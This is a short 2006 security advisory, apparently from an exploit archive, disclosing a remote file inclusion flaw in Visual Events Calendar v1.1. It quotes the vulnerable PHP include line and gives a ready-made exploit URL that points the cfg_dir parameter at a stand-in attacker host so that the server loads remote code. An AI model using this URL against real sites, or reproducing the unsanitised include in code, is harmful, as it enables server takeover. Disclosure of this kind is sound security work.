Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Tagger v3 <= BBCodeFile Remote file inclusion

phpPrintAnalyzer <= 1.1 (rep_par_rapport_ racine) Remote File Inclusion Vulnerability

DeluxeBB Multiple Vulnerabilities

simplog 0.9.3 and prior XSS

From:	x0r0n_(at)_hotmail.com <x0r0n_(at)_hotmail.com>
Date:	08.08.2006
Subject:	Visual Events Calendar v1.1 (cfg_dir) Remote Inclusion Vulnerability

#title: Visual Events Calendar v1.1   (cfg_dir) Remote Inclusion Vulnerability

#Author: xoron

#script: Visual Events Calendar v1.1

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include $cfg_dir."customize_text.php";

#Exploit: http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: str0ke, ShiKaA , DJR , x-mastER ,R3D4c!D ,